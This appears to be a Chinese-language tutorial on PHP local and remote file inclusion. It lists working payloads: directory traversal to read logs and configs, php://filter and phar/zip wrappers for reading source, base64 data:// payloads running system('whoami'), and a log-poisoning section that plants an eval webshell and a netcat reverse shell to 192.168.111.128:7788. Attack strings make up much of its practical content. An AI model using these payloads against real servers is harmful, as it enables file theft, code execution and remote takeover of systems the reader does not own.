文件包含-基础

概述

原理

PHP文件包含漏洞的产生原因是在通过PHP的函数引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

php文件包含漏洞通常由以下几个函数引发:

include() #包含并运行指定文件,失败产生警告,脚本会继续运行。 include_once() #若文件已经被包含过,则不会再次包含。

require() #包含并运行指定文件,失败将导致脚本中止。 require_once() #若文件已经被包含过,则不会再次包含。

当利用这四个函数来包含文件时,不管文件是什么类型,都会直接作为php文件进行解析,如果被包含的文件中无有效的php代码,则会直接把文件内容输出。


分类

LFI(Local File Inclusion) 本地文件包含漏洞。顾名思义,指的是能打开并包含本地文件的漏洞。大部分情况下遇到的文件包含漏洞都是LFI。前面的例子就属于此类。

RFI(Remote File Inclusion) 远程文件包含漏洞。是指能够包含远程服务器上的文件并执行。由于远程服务器的文件是我们可控的,因此漏洞一旦存在危害性就会很大。

php中开启远程文件包含利用需要在php.ini中配置如下:

allow_url_fopen = On #默认为On

allow_url_include = On #php5.2之后就默认为Off


利用

目录遍历

<?php   include("inc/" . $_GET['file']); ?>

linux中这两个文件储存着所有文件的路径,需要root权限:

?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db

日志,配置文件

?file=../../../../../../../../../var/log/apache/error.log ?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf


伪协议

php伪协议

关于文件包含漏洞,比较常用的还有php的php://伪协议

这里比较常用的是:

php://input php://filter

php://input

利用条件:

allow_url_include = On

即可如图所示利用:

php://filter

可获取文件内容

file=php://filter/read=convert.base64-encode/resource=flag.php

file=php://filter/convert.base64-encode/resource=flag.php

关于文件名:有时服务端可能会自动拼接后缀名,例如提交page=upload可能会被拼接为ipload.php,所以在获取失败时不妨去掉后缀名试试。

通过指定末尾的文件,可以读取经base64编码后的文件源码

在这里插入图片描述

其它伪协议的利用

phar://

可获取压缩包中文件内容

事先得知道压缩文件目录结构

?file=phar://flag.zip/flag.txt

在这里插入图片描述

zip://

用法同上,但使用zip协议,需要指定绝对路径,同时将#编码为%23,之后填上压缩包内的文件才会包含成功

?file=zip://D:\phpStudy\PHPTutorial\WWW\flag.zip%23flag.txt

example5

data:URI schema

命令执行

?file=data:text/plain, ?file=data:text/plain, ?file=data:text/plain,

执行效果如下:

example6

还可编码绕过:

?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2B #phpinfo(); ?file=data:text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg== #system(‘whoami’); ?file=data:text/plain;base64,PD9waHAgZWNobyBgd2hvYW1pYDs/Pg==

php支持的协议种类

file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) URLs php:// — 访问各个输入/输出流(I/O streams) zlib:// — 压缩流 phar:// — PHP 归档 data:// — 数据(RFC 2397) glob:// — 查找匹配的文件路径模式 ssh2:// - Secure Shell 2 rar:// - RAR ogg:// — 音频流 expect:// — 处理交互式的流

这些均可用于支持文件系统操作的函数例如fopen(),copy(),file_exists(), filesize()

测试用例:

<?php echo file_get_contents($_GET['test']); ?>

1.file:// — 访问本地文件系统

直接传入路径即可,以file://开始可能会失败 如果不加以限制可能会泄露信息 访问:http://127.0.0.1/test.php?test=../phpStudy.ini

2.http:// — 访问 HTTP(s) 网址

访问:http://127.0.0.1/test.php?test=http://127.0.0.1/test.php?test=test.php

3.ftp:// — 访问 FTP(s) URLs

1 这年头谁还用ftp啊

4.php:// — 访问各个输入/输出流(I/O streams)

php://input,php://stdout,php://stderr 直接访问 PHP 进程相应的输入或者输出流 php://fd 允许直接访问指定的文件描述符。 例如 php://fd/3 引用了文件描述符 3。 php://memory 和 php://temp 是一个类似文件 包装器的数据流,允许读写临时数据。temp>2M时写入文件 php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用 在双off时都可以使用,容易造成任意文件读取

5.zip://,bzip2://, zlib:// — 压缩流

双off也可以用 用于读取压缩文件,注意#需要进行url编码 #前为压缩文件路径,后为压缩文件内的文件名 zip://test.zip%23file.txt

6.phar:// — PHP 归档

同上 注意压缩文件必须要后缀(可以是任意后缀) phar://test.zip/test.php

7.data:// — 数据(RFC 2397)

很常用的数据流构造器 , 将读取后面base编码字符串后解码的数据作为数据流的输入 一般用于构造输入:data://text/plain;base64,SSBsb3ZlIFBIUAo=

8.glob:// — 查找匹配的文件路径模式

用于查找文件,但是没法直接使用 需要DirectoryIterator()

常用姿势

日志文件包含

可以写在User-Agent里或者其他地方

往日志写入webshell <?php @eval($_POST[1]);?> 
写入反弹shell      <?php system('nc 192.168.111.128 7788 -e /bin/sh');?>
nginx的日志默认路径
访问日志:/usr/local/nginx/logs/access.log 或者 /var/log/nginx/access.log
错误日志:/usr/loacl/nginx/logs/error.log 或者/var/log/nginx/error.log
/var/log/nginx/access.log
Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log
(1) apache+Linux日志默认路径  /var/log/httpd/ 或者 /var/log/apache2/ 目录下
/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log
 (2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log   D:\xampp\apache\logs\error.log

php默认错误日志文件路径:/var/log/php-fpm/www-errot.log
0%